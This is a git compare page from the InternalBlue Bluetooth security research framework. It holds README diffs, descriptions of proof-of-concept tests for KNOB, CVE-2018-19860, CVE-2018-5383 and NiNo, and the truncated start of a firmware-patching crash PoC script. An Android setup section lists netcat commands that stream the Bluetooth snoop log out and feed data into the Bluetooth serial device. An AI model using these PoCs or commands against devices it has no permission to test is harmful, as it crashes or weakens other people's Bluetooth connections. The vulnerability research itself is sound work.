Compare commits
194 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 59ae0bcb3a | |||
| 1abc8c7ef3 | |||
| 6f5526b8c1 | |||
| 03befeb427 | |||
| 0ef1748447 | |||
| 16c362af29 | |||
| 4438eccdb3 | |||
| fa483e7551 | |||
| 2c6911f792 | |||
| 48461fbd17 | |||
| a3d418a262 | |||
| a435466c01 | |||
| 5863b11104 | |||
| 8e93878e08 | |||
| a210025dc5 | |||
| f9c38dfd49 | |||
| aa127b7148 | |||
| 5792bca5b8 | |||
| 4df388c37a | |||
| 733cd9ca56 | |||
| a8a6623658 | |||
| b599213104 | |||
| df5636b9b8 | |||
| 25fa80a416 | |||
| fd7310330b | |||
| 65a8ce61e6 | |||
| 67ec7f5347 | |||
| 8dce7f86a4 | |||
| 692134f748 | |||
| c2166ce384 | |||
| a7266c819d | |||
| f6704f904e | |||
| 9ed9f6e1cc | |||
| efe3614ea5 | |||
| e6b58865dc | |||
| 8d14ab9485 | |||
| f4f51a7952 | |||
| b409207a3e | |||
| fa18727e69 | |||
| 6255023db8 | |||
| 796eb4cc03 | |||
| 6677b86e94 | |||
| ca070290c5 | |||
| bc3d52f00e | |||
| d737068304 | |||
| e8f6e94e1b | |||
| 6e91f9c718 | |||
| 361892bc06 | |||
| 2ce2224421 | |||
| 104a35a79a | |||
| e6b99906c9 | |||
| d3059b01d8 | |||
| a7066170fc | |||
| 748c713f67 | |||
| 0864e96569 | |||
| c6e39cb18f | |||
| 07c5c4c336 | |||
| 01589f8eee | |||
| d9de8f0d83 | |||
| 9b8d5b0740 | |||
| e53edb1ec9 | |||
| b72e12b5a6 | |||
| d7b3b8e7a1 | |||
| 2e49149639 | |||
| 71b706139f | |||
| 2d713fcba6 | |||
| 79c94ab48b | |||
| d691765c2b | |||
| 004ee68fe5 | |||
| fce72a2e8d | |||
| b57d3d417f | |||
| 4e9e82619a | |||
| 657714acc6 | |||
| 3b0478b0a5 | |||
| b386edbee1 | |||
| 6badef2279 | |||
| f8e638e277 | |||
| 1dfcc04a51 | |||
| 20a458d483 | |||
| 8f63c5620e | |||
| 1e88694f69 | |||
| 47640bdd58 | |||
| b10c6764b8 | |||
| 9d4dab89f9 | |||
| 9e10339c9b | |||
| e2fca88f2e | |||
| 54470b7395 | |||
| d71e422884 | |||
| c7ba318014 | |||
| 68d87b6e66 | |||
| 4df59ca00c | |||
| d9fd55bded | |||
| 532c36f8c9 | |||
| e339d34eca | |||
| f1dadd9e79 | |||
| 225924ed5a | |||
| 96a9857229 | |||
| fc8258a072 | |||
| 7f792d44cf | |||
| c0c3583361 | |||
| bfa8902e56 | |||
| 246fcd4e3e | |||
| 21377ee4da | |||
| 9a33fda745 | |||
| 4642ff4fa5 | |||
| 1927b2ed15 | |||
| 7472ddf388 | |||
| ac94f9295d | |||
| b81e4c861a | |||
| ca7a2071b1 | |||
| 3902a17680 | |||
| 13c435b56e | |||
| 63b4177a65 | |||
| 4979dfd428 | |||
| 8a5f478ed3 | |||
| 2d97d0cb13 | |||
| a2e3929512 | |||
| e73299de42 | |||
| b2c0ff6a62 | |||
| fdc47f52f8 | |||
| 5141aafaa9 | |||
| 8bc9b2c373 | |||
| c3d6c6dd6b | |||
| 40909ed594 | |||
| 29fd6420dd | |||
| 87a9496a19 | |||
| 62eda55e32 | |||
| eacd04811b | |||
| 5959cd70f2 | |||
| ec3bddd71b | |||
| c8cda935a6 | |||
| 854f57a3f9 | |||
| e89a84812e | |||
| dd9d76cff9 | |||
| 58f9688b84 | |||
| 45ec18744e | |||
| 45054b68c7 | |||
| 09149a2986 | |||
| dd19701c29 | |||
| a7ca8986d5 | |||
| bf023043fb | |||
| 8045ff091e | |||
| b8a2ce4b88 | |||
| 5096123ffe | |||
| db7f30e26d | |||
| ab5e8f2c91 | |||
| 4c13360fdd | |||
| 8eb34e7ba9 | |||
| 9aae6af582 | |||
| 2becb2c677 | |||
| baa828e54c | |||
| 4577f04292 | |||
| 4390105641 | |||
| c6486bb4e2 | |||
| a1b3b88afc | |||
| e049bbb622 | |||
| 982d403ec0 | |||
| 383dfaf554 | |||
| af7df43f0b | |||
| 29f3817b0c | |||
| f63248480b | |||
| e66f506ac3 | |||
| 9d9b98ce71 | |||
| f6fbe61d0f | |||
| 6d3eb20e77 | |||
| 5a64fefcaf | |||
| 88734f1627 | |||
| ecbc710be2 | |||
| 598a72dc50 | |||
| 4b4a91db37 | |||
| 594bedfc7f | |||
| 4b6dba5252 | |||
| 88f66a5fe1 | |||
| 9cd8c64104 | |||
| 06ac829bce | |||
| 575ed8e38a | |||
| cd9f65a51d | |||
| 35dd491192 | |||
| 2ec000cf69 | |||
| f8311834b2 | |||
| 16b33a366c | |||
| aa306d531e | |||
| 395e633577 | |||
| 252b6e0ab8 | |||
| 245be1873f | |||
| 6f6720855f | |||
| 7685005a2f | |||
| 54d839e8e2 | |||
| 2358acf26c | |||
| 83cf9c63e0 | |||
| cea981c647 | |||
| 636a4163e6 | |||
| 03d6f45aef | |||
| 2bd937b4e2 |
@@ -17,3 +17,11 @@ btsnoop.log
|
||||
# xcode
|
||||
xcuserdata
|
||||
*.xcworkspace
|
||||
macos-framework/IOBluetoothExtended.framework/
|
||||
|
||||
# venv
|
||||
venv
|
||||
venv3
|
||||
|
||||
# pycharm
|
||||
*.idea
|
||||
|
||||
@@ -8,156 +8,20 @@ therefore implement monitoring and injection tools for the lower layers of
|
||||
the Bluetooth protocol stack.
|
||||
|
||||
|
||||
Setup and Installation
|
||||
----------------------
|
||||
Recent Changes
|
||||
--------------
|
||||
* We upgraded from Python 2 to Python 3. If you wrote your own scripts, this might break them. In this case, use
|
||||
the [python2](https://github.com/seemoo-lab/internalblue/releases/tag/python2) release.
|
||||
|
||||
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
|
||||
smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS.
|
||||
For ADB, either connect the phone via USB or setup ADB over TCP and make sure you
|
||||
enable USB debugging in the developer settings of Android.
|
||||
|
||||
The Android device needs to run a Bluetooth stack that was compiled with
|
||||
debugging features enabled. A detailed description on how to compile the
|
||||
Bluetooth stack for your device can be found in the *README.md* file inside the
|
||||
*android_bluetooth_stack* directory of this repository. It also contains
|
||||
precompiled stacks for some devices. InternalBlue does not work without the
|
||||
debug Bluetooth stack.
|
||||
|
||||
The InternalBlue framework is written in Python 2. You can install it together
|
||||
with all dependencies by using pip:
|
||||
|
||||
git clone https://github.com/seemoo-lab/internalblue.git
|
||||
cd internalblue
|
||||
pip2 install .
|
||||
|
||||
It will install the following dependencies:
|
||||
* pwntools
|
||||
|
||||
The pwntools module needs the binutils package for ARM 32-bit to be installed
|
||||
on the system. This has to be installed manually by using the packet manager
|
||||
of your Linux distribution:
|
||||
|
||||
# for Arch Linux
|
||||
sudo pacman -S arm-none-eabi-binutils
|
||||
|
||||
# for Ubuntu
|
||||
sudo apt install binutils-arm-linux-gnueabi
|
||||
|
||||
All steps on a plain Ubuntu 18.04:
|
||||
|
||||
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
|
||||
git clone https://github.com/seemoo-lab/internalblue
|
||||
cd internalblue
|
||||
sudo pip2 install .
|
||||
cd ..
|
||||
|
||||
sudo apt-get install wireshark-dev wireshark cmake
|
||||
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
|
||||
cd h4bcm_wireshark_dissector
|
||||
mkdir build
|
||||
cd build
|
||||
cmake ..
|
||||
make
|
||||
make install
|
||||
|
||||
Packets required on a current (July 2019) Raspian:
|
||||
|
||||
sudo apt-get --allow-releaseinfo-change update
|
||||
sudo apt-get install git python-setuptools binutils-arm-none-eabi adb python-pip python-dev gcc libffi-dev
|
||||
* We reworked the *iOS* implementation.
|
||||
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
The CLI (Command Line Interface) of InternalBlue can be started by running:
|
||||
|
||||
python2 -m internalblue.cli
|
||||
|
||||
The setup.py installation will also place a shortcut to the CLI into the $PATH
|
||||
so that it can be started from a command line using:
|
||||
|
||||
internalblue
|
||||
|
||||
It should automatically connect to your Android phone through ADB or your local Linux
|
||||
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
|
||||
requests) and some commands require privileged users (i.e. establishing connections).
|
||||
Use the *help* command to display a list of available commands. A typical set of
|
||||
actions to check if everything is working properly would be:
|
||||
|
||||
wireshark start
|
||||
connect ff:ff:13:37:ab:cd
|
||||
sendlmp 01 -d 02
|
||||
|
||||
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
|
||||
because the leading two bytes are not required by Bluetooth communication, you
|
||||
can replace them with anything you want.
|
||||
|
||||
|
||||
Requirements
|
||||
------------
|
||||
|
||||
Android:
|
||||
* Recompiled `bluetooth.default.so` built with `bdroid_CFLAGS='-DBT_NET_DEBUG=TRUE'`, see [build instructions](android_bluetooth_stack/README.md)
|
||||
* Android device connected via ADB
|
||||
* Best support is currently given for Nexus 5 / BCM4339
|
||||
* Optional: Patch for Android driver to support Broadcom H4 forwarding
|
||||
|
||||
Linux:
|
||||
* BlueZ
|
||||
* Optional: Privileged access
|
||||
|
||||
iOS:
|
||||
* A jailbroken iOS device
|
||||
* The included ios-proxy (instructions in [here](ios-proxy/README.md))
|
||||
* Optional: a Mac with xcode to compile the proxy yourself
|
||||
|
||||
Common Optional Requirements:
|
||||
* Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
|
||||
|
||||
|
||||
Supported Features
|
||||
------------------
|
||||
|
||||
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
|
||||
|
||||
On any Bluetooth chip:
|
||||
* Send HCI commands
|
||||
* Monitor HCI
|
||||
* Establish connections
|
||||
|
||||
On any Broadcom Bluetooth chip:
|
||||
* Read and write RAM
|
||||
* Read and write assembly to RAM
|
||||
* Read ROM
|
||||
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
|
||||
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
|
||||
* Read AFH channel map
|
||||
* Perform local RSSi sweep (coming soon!)
|
||||
|
||||
On selected Broadcom Bluetooth chips:
|
||||
* BCM4335C0, BCM4358A3, CYW20735
|
||||
* Write to ROM via Patchram
|
||||
* Interpret coredumps
|
||||
* BCM4335C0 only
|
||||
* ECDH CVE-2018-5383 example
|
||||
* NiNo example
|
||||
* MAC address filter example
|
||||
* Debug firmware with tracepoints
|
||||
* BCM4335C0 and CYW20735
|
||||
* Fuzz invalid LMP messages
|
||||
* CYW20735 only
|
||||
* Full object and function symbol table
|
||||
|
||||
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
|
||||
|
||||
|
||||
Background
|
||||
----------
|
||||
Publications and Background
|
||||
---------------------------
|
||||
|
||||
* **Master Thesis** (07/2018)
|
||||
|
||||
InternalBlue was initially developed and documented in the
|
||||
*InternalBlue* was initially developed and documented in the
|
||||
[Masterthesis](https://github.com/seemoo-lab/internalblue/raw/master/internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
|
||||
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
|
||||
|
||||
@@ -192,7 +56,214 @@ was also recorded and gives a more high level overview.
|
||||
* **REcon Talk** (06/2019)
|
||||
|
||||
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
|
||||
It gives a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
|
||||
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
|
||||
|
||||
* **MRMCD Talk** (09/2019)
|
||||
|
||||
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
|
||||
within *InternalBlue* and the Patchram state of various devices.
|
||||
|
||||
* **36C3 Talk** (12/2019)
|
||||
|
||||
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
|
||||
points out a couple of new research directions and new Bluetooth projects coming up.
|
||||
|
||||
* **EWSN Paper & Demo** (02/2020)
|
||||
|
||||
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
|
||||
|
||||
* **CiderSecCon Talk** (03/2020)
|
||||
|
||||
TROOPERS was canceled, but we did a stream of a talk that was recorded on [YouTube](https://www.youtube.com/watch?v=Nx2ZDLaJ1-0&t=4920).
|
||||
|
||||
|
||||
|
||||
Supported Features
|
||||
------------------
|
||||
|
||||
This list is subject to change, but we give you a brief overview. You probably have a platform with a Broadcom chip that supports most features :)
|
||||
|
||||
On any Bluetooth chip:
|
||||
* Send HCI commands
|
||||
* Monitor HCI
|
||||
* Establish connections
|
||||
|
||||
On any Broadcom Bluetooth chip:
|
||||
* Read and write RAM
|
||||
* Read and write assembly to RAM
|
||||
* Read ROM
|
||||
* Set defined breakpoints that crash on execution
|
||||
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
|
||||
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
|
||||
* Read AFH channel map
|
||||
|
||||
On selected Broadcom Bluetooth chips:
|
||||
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
|
||||
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
|
||||
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
|
||||
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
|
||||
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi 3/3+/4)
|
||||
* Full object and function symbol table (Cypress Evaluation Boards only)
|
||||
* Demos for Nexus 5 only:
|
||||
* ECDH CVE-2018-5383 example
|
||||
* NiNo example
|
||||
* MAC address filter example
|
||||
* KNOB attack test for various devices, including Raspberry Pi 3+/4
|
||||
* BLE receptoin statistics
|
||||
|
||||
A comprehensive list of chips and which devices have them can be found in the [firmware](internalblue/fw/README.md) module documentation.
|
||||
|
||||
|
||||
|
||||
|
||||
Requirements
|
||||
------------
|
||||
|
||||
Android:
|
||||
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android_bluetooth_stack/README.md)
|
||||
* Android device connected via ADB
|
||||
* Best support is currently given for Nexus 5 / BCM4339
|
||||
* Optional: Patch for Android driver to support Broadcom H4 forwarding
|
||||
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
|
||||
|
||||
Linux:
|
||||
* BlueZ, instructions see [here](linux_bluez/README.md)
|
||||
* Best support for Raspberry Pi 3/3+/4 and Cypress evaluation boards
|
||||
* For most commands: Privileged access
|
||||
|
||||
iOS:
|
||||
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X , does not work on iPhones newer than XR, these devices have a Bluetooth chip connected via PCIe)
|
||||
* `usbmuxd`, which is pre installed on macOS but is available on most Linux distributions as well. Alternatively it can be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
|
||||
* The [``internalblued`` daemon](ios-internalblued/README.md) installed on the iOS device
|
||||
|
||||
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
|
||||
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
|
||||
|
||||
macOS:
|
||||
* Homebrew
|
||||
* Xcode 10.2.1
|
||||
* Instructions see [here](macos-framework/README.md)
|
||||
|
||||
Setup and Installation
|
||||
----------------------
|
||||
|
||||
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
|
||||
smartphone, __BlueZ__ sockets on Linux, or the included __iOS Proxy__ on iOS.
|
||||
|
||||
For [Android](android_bluetooth_stack) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
|
||||
enable USB debugging in the developer settings of Android.
|
||||
|
||||
If you have a jailbroken [iOS](ios-proxy) device, you need to install a proxy that locally connects
|
||||
to the Bluetooth device and forwards HCI commands and events.
|
||||
|
||||
On [Linux](linux_bluez) with *BlueZ*, everything should work out of the box, but
|
||||
you need to execute *InternalBlue* as root for most features.
|
||||
|
||||
The InternalBlue framework supports and requires Python 3.6 and above.
|
||||
### Install from PyPI
|
||||
|
||||
Currently there is no package published on PyPI for Python 3, this will happen in the near future.
|
||||
|
||||
|
||||
### Install as package from GitHub `master` or any other branch
|
||||
|
||||
```sh
|
||||
pip install https://github.com/seemoo-lab/internalblue/archive/master.zip
|
||||
```
|
||||
|
||||
This will download the contents of current master as a zip archive and install them via pip.
|
||||
No local checkout of the git will exist.
|
||||
|
||||
If you want to update you need to run:
|
||||
|
||||
```sh
|
||||
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
|
||||
```
|
||||
|
||||
### Development Install
|
||||
|
||||
If you except that you might want to read the code locally, debug it
|
||||
or possibly change it you should setup an editable install.
|
||||
|
||||
```sh
|
||||
git clone https://github.com/seemoo-lab/internalblue
|
||||
cd internalblue
|
||||
pip install --editable ./
|
||||
```
|
||||
Any changes to the python code in your git checkout will now be immediately reflected when importing `internalblue` or starting it from your shell.
|
||||
|
||||
You can now git pull, change branches or fork to submit your own branches:
|
||||
```sh
|
||||
git pull # Update current branch
|
||||
git checkout origin/$featurebranch # Test some feature or bugfix branch
|
||||
hub fork # requires https://github.com/cli/cli to be set up before
|
||||
git checkout -b $your_new_feature_branch
|
||||
```
|
||||
|
||||
### Dependencies
|
||||
|
||||
It will install the following dependencies:
|
||||
* pwntools
|
||||
|
||||
The pwntools module needs the binutils package for ARM 32-bit to be installed
|
||||
on the system. This has to be installed manually by using the packet manager
|
||||
of your Linux distribution:
|
||||
|
||||
# for Arch Linux
|
||||
sudo pacman -S arm-none-eabi-binutils
|
||||
|
||||
# for Ubuntu
|
||||
sudo apt install binutils-arm-linux-gnueabi
|
||||
|
||||
All steps on a plain Ubuntu 18.04:
|
||||
|
||||
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
|
||||
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
|
||||
|
||||
sudo apt-get install wireshark-dev wireshark cmake
|
||||
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
|
||||
cd h4bcm_wireshark_dissector
|
||||
mkdir build
|
||||
cd build
|
||||
cmake ..
|
||||
make
|
||||
make install
|
||||
|
||||
Packets required on a current (March 2020) Raspbian:
|
||||
|
||||
sudo apt-get --allow-releaseinfo-change update
|
||||
sudo apt-get install git python3-setuptools binutils-arm-none-eabi adb python3-pip python3-dev gcc libffi-dev
|
||||
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
The CLI (Command Line Interface) of InternalBlue can be started by running:
|
||||
|
||||
python -m internalblue.cli
|
||||
|
||||
The setup.py installation will also place a shortcut to the CLI into the $PATH
|
||||
so that it can be started from a command line using:
|
||||
|
||||
internalblue
|
||||
|
||||
It should automatically connect to your Android phone through ADB or your local Linux
|
||||
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
|
||||
requests) and some commands require privileged users (i.e. establishing connections).
|
||||
Use the *help* command to display a list of available commands. A typical set of
|
||||
actions to check if everything is working properly would be:
|
||||
|
||||
wireshark start
|
||||
connect ff:ff:13:37:ab:cd
|
||||
sendlmp 01 -d 02
|
||||
|
||||
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
|
||||
because the leading two bytes are not required by Bluetooth communication, you
|
||||
can replace them with anything you want.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -200,7 +271,7 @@ was also recorded and gives a more high level overview.
|
||||
License
|
||||
-------
|
||||
|
||||
Copyright 2018-2019 Dennis Mantz, Jiska Classen
|
||||
Copyright 2018-2020 The InternalBlue Team
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
|
||||
@@ -2,7 +2,7 @@ Enable Debugging Features in the Android Bluetooth Stack
|
||||
========================================================
|
||||
|
||||
The Android Bluetooth stack has [debugging features](https://chromium.googlesource.com/aosp/platform/system/bt/+/master/doc/network_ports.md)
|
||||
which are disabled in normal builds. To enable them, the Bluetooth Stack
|
||||
which are disabled in normal builds. To enable them, the Bluetooth stack
|
||||
(*bluetooth.default.so*) has to be build with debugging preprocessor defines.
|
||||
|
||||
Another issue is that the Android Bluetooth stack does not support Broadcom
|
||||
@@ -17,11 +17,40 @@ been created according to the tutorial below. You can skip the build if you
|
||||
happen to have a device for which a precompiled *bluetooth.default.so* exists.
|
||||
|
||||
|
||||
NEW: Serial Forwarding
|
||||
----------------------
|
||||
|
||||
With Android Oreo (8), significant parts of the network debug interface
|
||||
were removed from the source code. Reintroducing these features would be ABI-breaking.
|
||||
|
||||
We introduced an experimental serial forwarding. If the connection to a
|
||||
patched Bluetooth stack fails on Android, *InternalBlue* tries to setup sockets
|
||||
with shell scripting. The only requirement is a rooted smartphone. This hack
|
||||
even works on a recent __Samsung Galaxy S10e__ with __Android Pie (9)__ (Patchlevel June 2019).
|
||||
|
||||
In `adbcore.py`, we have a fallback that executes `_setupSerialSu`. This starts the
|
||||
following processes:
|
||||
|
||||
tail -f -n +0 /data/log/bt/btsnoop_hci.log | nc -l -p 8872
|
||||
nc -l -p 8873 >/sdcard/internalblue_input.bin
|
||||
tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1
|
||||
|
||||
To run netcat, you need to install the `busybox` app. Depending on your Android version,
|
||||
the paths for `*btsnoop_hci.log` and `/dev/tty*` might differ. Execute `lsof | grep bluetooth`
|
||||
to get hints on the serial device used for Bluetooth.
|
||||
|
||||
Note that this solution is much slower than patching *bluetooth.default.so*.
|
||||
The delay per command is quite long, but overall throughput is okay, i.e., stackdumps can
|
||||
be received.
|
||||
|
||||
|
||||
|
||||
Prebuilt Library Status
|
||||
-----------------------
|
||||
|
||||
Folder | Tag | HCI forwarding | H4 Broadcom Diagnostics | Notes
|
||||
------ | --- | -------------- | ----------------------- | -----
|
||||
none | Android 8+9 | yes | no | Serial and BT Snoop forwarding with `nc` (in `busybox` app), tested on rooted __Samsung Galaxy S10e__
|
||||
android5_1_1 | android-5.1.1_r3 | rx only | no | Tested on Nexus 5 - HCI sniffing only!
|
||||
android6_0_1 | android-6.0.1_r81 | yes | __yes__ | Recommended for __Nexus 5__ (android-6.0.1_r77), also works on Nexus 6P, seems like the version tag can differ a bit.
|
||||
android7_1_2 | android-7.1.2_r28 | yes | __yes__ | Recommended for __Nexus 6P__, but it might run on Nexus 5X, Nexus Player, Pixel C.
|
||||
|
||||
Binary file not shown.
+54
-12
@@ -1,18 +1,60 @@
|
||||
InternalBlue PoCs and Examples
|
||||
==============================
|
||||
|
||||
The following examples were tested on a *Nexus 5* (*BCM4339* chip with firmware *BCM4335C0*) on *Android* and *LineageOS*.
|
||||
|
||||
* [CVE_2018_5383_Invalid_Curve_Attack_PoC](CVE_2018_5383_Invalid_Curve_Attack_PoC.py)
|
||||
provides tries to set the y-coordinate during ECDH key exchange to zero. If the device under test accepts the pairing (50% probability), it is vulnerable.
|
||||
* [LMP_MAC_Address_Filter](LMP_MAC_Address_Filter.py)
|
||||
replies to all LMP packets with `LMP_not_accepted` if their source is not from a MAC address in the whitelist.
|
||||
* [NiNo_PoC](NiNo_PoC.py) sets the IO capabilities of the *Nexus 5* to no input, no output.
|
||||
KNOB Attack Test (CVE-2019-9506)
|
||||
--------------------------------
|
||||
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
|
||||
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
|
||||
Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py),
|
||||
[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
|
||||
and [Samsung Galaxy S8](s8/KNOB_PoC.py).
|
||||
|
||||
Examples for the Raspberry Pi 3:
|
||||
LMP to HCI Handler Escalation Attack Test (CVE-2018-19860)
|
||||
----------------------------------------------------------
|
||||
This is an easy-to-use PoC for CVE-2018-19860. It sends multiple LMP messages with opcode 0 (Broadcom vendor-specific).
|
||||
If the following byte, the vendor-specific opcode, is out of range of BPCS (larger than 6), vulnerable devices
|
||||
interpret the memory located after the LMP BPCS handler table as further handlers. On many devices, HCI handlers
|
||||
are located here, which lets an attacker call HCI via LMP, thus, resulting in limited code execution capabilities.
|
||||
Invalid "handler" addresses in that memory range or invalid parameters passed to HCI handlers will cause Bluetooth
|
||||
on the device under attack to crash. This PoC installs an Assembly snippet that sends multiple invalid LMP BPCS packets
|
||||
before establishing connections. If an attacker connects to the device under test using the normal Android/Linux user
|
||||
interface and the connection succeeds, the device is likely not vulnerable (you need to adapt the BPCS range in
|
||||
some cases). If Bluetooth crashes, it is vulnerable. Currently only available for the
|
||||
[Nexus 5](nexus5/CVE_2018_19860_Crash_on_Connect.py) and the [CYW20735 evaluation board](eval_cyw20735/CVE_2018_19860_Crash_on_Connect.py).
|
||||
|
||||
* [raspi3_rxdn](raspi4_rxdn.py) prints the first bytes of the LE connection struct within the `_connTaskRxDone` callback.
|
||||
For debugging purposes, warnings are shown for packet failures. The full logging can be enabled via `log_level debug` on the
|
||||
*InternalBlue* command line. It contains the current channel, RSSI, and event number for each packet. To blacklist channels
|
||||
from hopping, use `sendhcicmd 0x2014 ff00000000` or similar. Use `wireshark` or `btmon`
|
||||
to see the channel blacklisting live within the connection struct.
|
||||
Invalid Curve Attack Test (CVE-2018-5383)
|
||||
-----------------------------------------
|
||||
This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
|
||||
(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
|
||||
|
||||
Available for the [Nexus 5](nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py).
|
||||
|
||||
LMP MAC Address Filter
|
||||
----------------------
|
||||
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
|
||||
|
||||
Available for the [Nexus 5](nexus5/LMP_MAC_Address_Filter.py).
|
||||
|
||||
NiNo Attack Test
|
||||
----------------
|
||||
Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
|
||||
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
|
||||
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
|
||||
active MITM attack.
|
||||
|
||||
Available for the [Nexus 5](nexus5/NiNo_PoC.py).
|
||||
|
||||
|
||||
Measurement of BLE Receive Statistics
|
||||
-------------------------------------
|
||||
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
|
||||
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
|
||||
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
|
||||
currently active channel map.
|
||||
|
||||
Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script,
|
||||
as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py)
|
||||
and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
|
||||
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
|
||||
with the full iOS stack, thus it is not pushed online here.
|
||||
+163
@@ -0,0 +1,163 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
# PoC for CVE-2018-19860
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
"""
|
||||
This is a crash only test for CVE-2018-19860. Install this patch and connect
|
||||
to any device. If the target device Bluetooth chip crashes upon connection,
|
||||
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
|
||||
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
|
||||
|
||||
This snippet modifies connection establishment. To be still compatible with
|
||||
scanning for devices, feature_req and name_req should not be modified.
|
||||
We modify lm_SendLmpHostConnectionReq, which is only triggered when
|
||||
clicking on another device to establish a connection. Then we launch the attack
|
||||
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
|
||||
|
||||
TODO
|
||||
After ~24 commands, this cannot be repeated any more. Tapping again too early
|
||||
crashes the driver. Long waiting loops don't help. A good workaround is to
|
||||
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
|
||||
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
|
||||
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
|
||||
will be replied with LMP_not_accepted).
|
||||
|
||||
"""
|
||||
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
|
||||
ASM_LOCATION_VSC_EXISTS = 0x00218300
|
||||
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 # TODO change this depending on fuzz range
|
||||
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
|
||||
ASM_SNIPPET_VSC_EXISTS = """
|
||||
b vsc_iterate
|
||||
b send_lmp
|
||||
|
||||
vsc_iterate:
|
||||
